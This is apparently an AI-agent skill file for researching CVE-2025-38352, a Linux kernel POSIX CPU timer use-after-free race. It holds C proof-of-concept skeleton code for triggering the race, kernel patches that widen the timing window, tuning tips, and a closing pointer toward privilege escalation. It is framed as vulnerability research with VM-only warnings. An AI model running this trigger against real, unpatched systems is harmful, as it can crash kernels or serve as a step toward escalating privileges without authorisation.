Hacktricks-skills cve-2025-38352-research
Research, analyze, and create PoCs for CVE-2025-38352 (POSIX CPU timers TOCTOU race in Linux kernel). Use this skill whenever the user mentions kernel vulnerabilities, POSIX timers, TOCTOU races, timer exploitation, CVE-2025-38352, or wants to understand/reproduce kernel timer race conditions. Also trigger for kernel security research, privilege escalation primitives, or when analyzing timer-related kernel bugs.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352/SKILL.MDCVE-2025-38352 Research Skill
A skill for researching and analyzing the POSIX CPU timers TOCTOU race condition (CVE-2025-38352) in Linux/Android kernels.
What this skill does
This skill helps you:
- Understand the vulnerability mechanics and kernel internals
- Create reproducible PoCs for research purposes
- Set up test environments with vulnerable kernels
- Analyze race conditions and timing windows
- Document findings and mitigation strategies
Safety first
⚠️ Critical: This vulnerability can crash kernels and corrupt memory. Only run PoCs in:
- Isolated VMs (QEMU, VirtualBox)
- Emulators with snapshots
- Dedicated research environments
Never run on production systems or shared infrastructure.
Vulnerability overview
The bug in one sentence
A TOCTOU race between IRQ-context timer expiry and concurrent timer deletion during task exit can corrupt kernel timer state, causing crashes or enabling privilege escalation.
Key components
| Component | Role |
|---|---|
| Timer management code |
| Marks timers as firing, moves to firing list |
| Delivers timers, drops sighand lock |
| Deletes timers, checks flag |
| Tears down sighand during exit |
The race window
CPU 0 (IRQ) CPU 1 (exit path) ───────────────────────────────────────────────────── handle_posix_cpu_timers() collect_timerqueue() ctmr->firing = 1 unlock_task_sighand() ──────►│ │ posix_cpu_timer_del() │ lock_task_sighand() fails │ skips firing check │ frees timer (RCU) list_for_each_entry_safe() │ dereferences freed timer │ → KASAN / crash │
Creating a PoC
Step 1: Environment setup
You need:
- Multi-core VM (4+ cores recommended)
- Kernel with
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n - KASAN enabled for detection (optional but helpful)
For x86_64/arm64: These architectures force
HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so you'll need to patch the Kconfig:
// kernel/time/Kconfig config POSIX_CPU_TIMERS_TASK_WORK bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK default y
Then rebuild with
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n.
For 32-bit Android: The vulnerable path may already be present.
Step 2: PoC structure
A reliable PoC needs:
- Parent process: Ptrace attach, control reaping via waitpid
- Child process: Spawn worker thread with CPU timer
- IPC: Pipes to coordinate timing between processes
- CPU pinning:
to reduce scheduler noisesched_setaffinity()
Step 3: Worker thread with timer
static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time static pthread_barrier_t barrier; static void timer_fire(sigval_t unused) { puts("timer fired"); } static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer); struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, }; pthread_barrier_wait(&barrier); // Wait for ptrace attach timer_settime(timer, 0, &ts, NULL); // Burn CPU to advance timer for (volatile int i = 0; i < 1000000; i++); return NULL; // Triggers exit_notify() }
Step 4: Parent orchestration
// Parent process int c2p[2], p2c[2]; // Pipes for IPC pid_t child = fork(); if (child == 0) { // Child: spawn worker, send TID to parent // ... worker setup ... write(c2p[1], &worker_tid, sizeof(worker_tid)); pthread_barrier_wait(&barrier); } else { // Parent: ptrace and control reaping read(c2p[0], &worker_tid, sizeof(worker_tid)); ptrace(PTRACE_ATTACH, worker_tid, NULL, NULL); waitpid(worker_tid, NULL, __WALL); ptrace(PTRACE_CONT, worker_tid, NULL, NULL); // Wait for timer to be collected, then reap usleep(100000); // Tune this waitpid(worker_tid, NULL, __WALL); // Triggers release_task() // Signal child to delete timer write(p2c[1], &signal, sizeof(signal)); }
Step 5: Timer deletion race
// Child main thread, after receiving signal from parent void *deleter(void *arg) { for (;;) { timer_delete(timer); // Hammer delete in loop } }
Debugging and instrumentation
Kernel tracepoints
Add these to spot the race:
// In handle_posix_cpu_timers() trace_printk("handle_posix_cpu_timers: tsk=%p comm=%s\n", tsk, tsk->comm); // In posix_cpu_timer_del() trace_printk("posix_cpu_timer_del: sighand=%p firing=%d\n", sighand, timer->it.cpu.firing);
KASAN detection
With KASAN enabled, you'll see:
================================================================= BUG: KASAN: slab-use-after-free in posix_timer_queue_signal Read of size 8 at addr ffff888012345678 by task worker/1234 CPU: 0 PID: 1234 Comm: worker Call Trace: <IRQ> posix_timer_queue_signal+0x123/0x456 handle_posix_cpu_timers+0x78/0xabc ...
Widening the race window
For research, add a delay in the kernel:
// kernel/time/posix-cpu-timers.c static void handle_posix_cpu_timers(struct task_struct *tsk) { if (tsk->comm[0] == 'S' && tsk->comm[1] == 'L') // "SLOWME" mdelay(500); // 500ms delay // ... rest of function }
Then name your worker thread:
prctl(PR_SET_NAME, "SLOWME");
Analysis checklist
When analyzing a potential trigger:
- Is
?CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n - Is the target task exiting but not fully reaped?
- Is another thread calling
concurrently?timer_delete() - Did
setcollect_timerqueue()
beforefiring=1
?unlock_task_sighand() - Did
fail to acquire sighand?posix_cpu_timer_del() - Did the timer get RCU-freed while still in the firing list?
Mitigation
The fix adds an early return for exiting tasks:
// kernel/time/posix-cpu-timers.c if (tsk->exit_state) return;
This prevents entering
handle_posix_cpu_timers() for exiting tasks, eliminating the race window.
References
- Race Against Time in the Kernel's Clockwork (StreyPaws)
- Android security bulletin – September 2025
- Android common kernel patch
- CVE-2025-38352 analysis
- PoC repository
- Linux stable fix
Common pitfalls
- Wrong clock: Use
for per-thread timers, notCLOCK_THREAD_CPUTIME_IDCLOCK_PROCESS_CPUTIME_ID - Timer too slow: Set
to 1 or very small values to maximize IRQ entriesit_value.tv_nsec - No CPU pinning: Without
, scheduler noise makes the race unreliablesched_setaffinity() - Missing barrier: The worker must wait for ptrace attach before arming the timer
- Wrong exit path: Target a non-leader thread; the thread-group leader has different exit semantics
Next steps
After creating a PoC:
- Run it in a VM with KASAN to confirm the bug
- Document the exact timing and conditions
- Test against patched kernels to verify the fix
- Consider whether the primitive can be steered toward privilege escalation (requires additional controllable overlaps)